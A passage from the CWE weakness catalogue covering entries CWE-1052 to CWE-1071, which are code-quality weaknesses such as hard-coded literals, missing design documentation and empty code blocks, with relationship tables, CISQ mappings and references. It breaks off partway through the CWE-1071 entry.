The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	1867

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-18		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1052: Excessive Use of Hard-Coded Literals in Initialization

Weakness ID : 1052 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software initializes a data element using a hard-coded literal that is not a simple integer or static constant element.

Extended Description

This issue makes it more difficult to modify or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	1867

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-3		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1053: Missing Documentation for Design

Weakness ID : 1053 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product does not have documentation that represents how it is designed.

Extended Description

This issue can make it more difficult to understand and maintain the product. It can make it more difficult and time-consuming to detect and/or fix vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1059	Incomplete Documentation	1661

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1225	Documentation Issues	2017

Weakness Ordinalities

Indirect :

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1208	Cross-Cutting Problems	1194	2012

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_ >.

CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer

Weakness ID : 1054 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code at one architectural layer invokes code that resides at a deeper layer than the adjacent layer, i.e., the invocation skips at least one layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1061	Insufficient Encapsulation	1663

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1227	Encapsulation Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-12		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1055: Multiple Inheritance from Concrete Classes

Weakness ID : 1055 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a class with inheritance from more than one concrete class.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1093	Excessively Complex Data Representation	1693

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-2		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1056: Invokable Control Element with Variadic Parameters

Weakness ID : 1056 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A named-callable or method control element has a signature that supports a variable (variadic) number of parameters or arguments.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

With variadic arguments, it can be difficult or inefficient for manual analysis to be certain of which function/method is being invoked.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1120	Excessive Code Complexity	1715

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-8		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1057: Data Access Operations Outside of Expected Data Manager Component

Weakness ID : 1057 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.

Extended Description

This issue can make the software perform more slowly than intended, since the intended central data manager may have been explicitly optimized for performance or other quality characteristics. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1061	Insufficient Encapsulation	1663

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1227	Encapsulation Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-11		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element

Weakness ID : 1058 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains a function or method that operates in a multi-threaded environment but owns an unsafe non-final static storable or member data element.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	662	Improper Synchronization	1288

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-11		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1059: Incomplete Documentation

Weakness ID : 1059 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The documentation, whether on paper or in electronic form, does not contain descriptions of all the relevant elements of the product, such as its usage, structure, interfaces, design, implementation, configuration, operation, etc.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf	B	1053	Missing Documentation for Design	1655
ParentOf	B	1110	Incomplete Design Documentation	1707

Nature	Type	ID	Name	Page
ParentOf	B	1111	Incomplete I/O Documentation	1708
ParentOf	B	1112	Incomplete Documentation of Program Execution	1709
ParentOf	B	1118	Insufficient Documentation of Error Handling Techniques	1713

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses

Weakness ID : 1060 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software performs too many data queries without using efficient data processing functionality such as stored procedures.

Extended Description

This issue can make the software perform more slowly due to computational expense. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "too many data queries" may vary for each product or developer, CISQ recommends a default maximum of 5 data queries for an inefficient function/procedure.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1120	Excessive Code Complexity	1715

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-9		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-1061: Insufficient Encapsulation

Weakness ID : 1061 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not sufficiently hide the internal representation and implementation details of data or methods, which might allow external components or modules to modify data unexpectedly, invoke unexpected functionality, or introduce dependencies that the programmer did not intend.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf	V	766	Critical Data Element Declared Public	1415
ParentOf	B	1054	Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer	1656
ParentOf	B	1057	Data Access Operations Outside of Expected Data Manager Component	1659
ParentOf	B	1062	Parent Class with References to Child Class	1664
ParentOf	B	1083	Data Access from Outside Expected Data Manager Component	1683
ParentOf	B	1090	Method Containing Access of a Member Element from Another Class	1690
ParentOf	B	1100	Insufficient Isolation of System-Dependent Functions	1699
ParentOf	B	1105	Insufficient Encapsulation of Machine-Dependent Functionality	1703

Weakness Ordinalities

Indirect :

References

[REF-969]Wikipedia. "Encapsulation (computer programming)". < https://en.wikipedia.org/wiki/Encapsulation_(computer_programming) >.

CWE-1062: Parent Class with References to Child Class

Weakness ID : 1062 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code has a parent class that contains references to a child class, its methods, or its members.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1061	Insufficient Encapsulation	1663

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1227	Encapsulation Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-14		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1063: Creation of Class Instance within a Static Code Block

Weakness ID : 1063 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A static code block creates an instance of a class.

Extended Description

This pattern identifies situations where a storable data element or member data element is initialized with a value in a block of code which is declared as static.

This issue can make the software perform more slowly by performing initialization before it is needed. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1176	Inefficient CPU Computation	1724

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-1		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters

Weakness ID : 1064 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a function, subroutine, or method whose signature has an unnecessarily large number of parameters/arguments.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of parameters." may vary for each product or developer, CISQ recommends a default maximum of 7 parameters/arguments.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1120	Excessive Code Complexity	1715

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2018

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-13		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers

Weakness ID : 1065 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application uses deployed components from application servers, but it also uses low-level functions/methods for management of resources, instead of the API provided by the application server.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-5		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1066: Missing Serialization Control Element

Weakness ID : 1066 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a serializable data element that does not have an associated serialization method.

Extended Description

This issue can prevent the software from running reliably, e.g. by triggering an exception. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

As examples, the serializable nature of a data element comes from a serializable SerializableAttribute attribute in .NET and the inheritance from the java.io.Serializable interface in Java.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-2		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1067: Excessive Execution of Sequential Searches of Data Resource

Weakness ID : 1067 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a data query against an SQL table or view that is configured in a way that does not utilize an index and may cause sequential searches to be performed.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1176	Inefficient CPU Computation	1724

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures - Performance	1128	1982

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-5		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < http://www.omg.org/spec/ASCPEM/1.0 >.

CWE-1068: Inconsistency Between Implementation and Documented Design

Weakness ID : 1068 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The implementation of the product is not consistent with the design as described within the relevant documentation.

Extended Description

This issue makes it more difficult to maintain the software due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1225	Documentation Issues	2017

Weakness Ordinalities

Indirect :

References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT_ >.

CWE-1069: Empty Exception Block

Weakness ID : 1069 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

An invokable code block contains an exception handling block that does not contain any code, i.e. is empty.

Extended Description

When an exception handling block (such as a Catch and Finally block) is used, but that block is empty, this can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1071	Empty Code Block	1672

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-1		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1070: Serializable Data Element Containing non-Serializable Item Elements

Weakness ID : 1070 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a serializable, storable data element such as a field or member, but the data element contains member elements that are not serializable.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

As examples, the serializable nature of a data element comes from a serializable SerializableAttribute attribute in .NET and the inheritance from the java.io.Serializable interface in Java.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-3		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1071: Empty Code Block

Weakness ID : 1071 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code contains a block that does not contain any code, i.e., the block is empty.

Extended Description

Empty code blocks can occur in the bodies of conditionals, function or method definitions, exception handlers, etc. While an empty code block might be intentional, it might also indicate incomplete implementation, accidental code deletion, unexpected macro expansion, etc. For some programming languages and constructs, an empty block might be allowed by the syntax, but the lack of any behavior within the block might violate a convention or API in such a way that it is an error.

Relationships

